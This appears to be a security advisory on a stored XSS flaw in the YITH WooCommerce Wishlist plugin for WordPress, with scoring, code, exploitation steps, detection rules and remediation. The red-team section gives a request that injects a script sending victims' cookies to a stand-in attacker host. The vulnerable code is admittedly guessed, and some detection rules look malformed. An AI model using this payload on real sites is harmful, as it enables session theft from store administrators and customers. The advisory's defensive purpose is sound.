CVE-2025-5238

Executive Summary

CVE-2025-5238 is a Stored Cross-Site Scripting (XSS) vulnerability in the YITH WooCommerce Wishlist plugin for WordPress, affecting all versions up to and including 4.5.0. The flaw resides in insufficient input sanitization and output escaping of the id parameter, allowing authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. These scripts execute whenever a victim user accesses a page containing the malicious payload, leading to potential session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used for e-commerce wishlist functionality, making it a high-value target for attackers aiming to compromise store administrators or customers.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites using the YITH WooCommerce Wishlist plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for authenticated access but the potential for widespread impact due to stored XSS.

Deep Dive & Mechanics

The vulnerability exists in the YITH WooCommerce Wishlist plugin's handling of the id parameter. When a user with Contributor-level or higher privileges creates or edits a wishlist, the id parameter is not properly sanitized before being stored in the database. Subsequently, when the wishlist page is rendered, the unsanitized input is output without proper escaping, allowing arbitrary HTML and JavaScript to execute.

Attack Flow:

1. An authenticated attacker with Contributor-level access crafts a malicious payload (e.g., <script>alert('XSS')</script>) and injects it into the id parameter via a POST request to the wishlist creation endpoint.
2. The plugin stores the payload in the WordPress database without sanitization.
3. When an administrator or any other user visits the wishlist page, the payload executes in their browser context.
4. The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 4.5.0):

// In class-yith-wcwl.php or similar
$wishlist_id = $_POST['id']; // No sanitization
// ... later in rendering
echo '<div id="wishlist-' . $wishlist_id . '">'; // No escaping

Patched Code (hypothetical fix):

$wishlist_id = sanitize_text_field( $_POST['id'] ); // Input sanitization
// ... later in rendering
echo '<div id="wishlist-' . esc_attr( $wishlist_id ) . '">'; // Output escaping

The patch would involve using WordPress functions like sanitize_text_field() for input and esc_attr() or esc_html() for output.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with YITH WooCommerce Wishlist plugin <= 4.5.0
• Valid user account with Contributor-level or higher privileges

Exploitation Steps:

1. Log in as a Contributor.
2. Navigate to the wishlist creation page (e.g., /wp-admin/admin.php?page=yith_wcwl_panel).
3. Intercept the POST request using Burp Suite or browser dev tools.
4. Modify the id parameter to include a malicious payload:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   ...
   action=create_wishlist&id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Submit the request.
6. Wait for an administrator or other user to visit the wishlist page.
7. The payload executes, sending the victim's cookies to the attacker's server.

Alternative Payload:

<img src=x onerror="alert('XSS')">

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual POST requests to admin-ajax.php with action=create_wishlist and suspicious id parameters.
2. Review WordPress database for stored XSS patterns in the yith_wcwl_wishlists table.
3. Use web application firewall (WAF) rules to block common XSS payloads in the id parameter.

Lab Setup:

• Install WordPress with YITH WooCommerce Wishlist plugin version 4.5.0.
• Create a Contributor user account.
• Use a local testing environment (e.g., XAMPP, Docker) to simulate the attack.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-ajax.php with action=create_wishlist and id parameter containing <script> or <img onerror= tags.
• Host: Presence of JavaScript payloads in the yith_wcwl_wishlists table in the WordPress database.
• Logs: WordPress debug logs showing unexpected output in wishlist pages.
• File: Modified plugin files (though unlikely, as the vulnerability is in core plugin code).

Detection Engineering

YARA Rule

rule CVE_2025_5238_YITH_Wishlist_XSS {
    meta:
        description = "Detects stored XSS payloads in YITH WooCommerce Wishlist plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-5238"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $img_payload = /<img[^>]+onerror\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via YITH WooCommerce Wishlist id Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2025-5238 by injecting XSS payloads into the id parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-params|contains: 'action=create_wishlist'
        cs-params|contains|re: '(?:<script|<img[^>]+onerror)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in wishlist names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5238 YITH WooCommerce Wishlist Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=create_wishlist"; http_client_body; pcre:"/(?:<script|<img[^>]+onerror)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict Contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the id parameter.

Long-term Fix:

• Apply input sanitization (e.g., sanitize_text_field()) and output escaping (e.g., esc_attr()) to the id parameter.
• Update to a patched version once released by YITH.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
Securing Digital Frontiers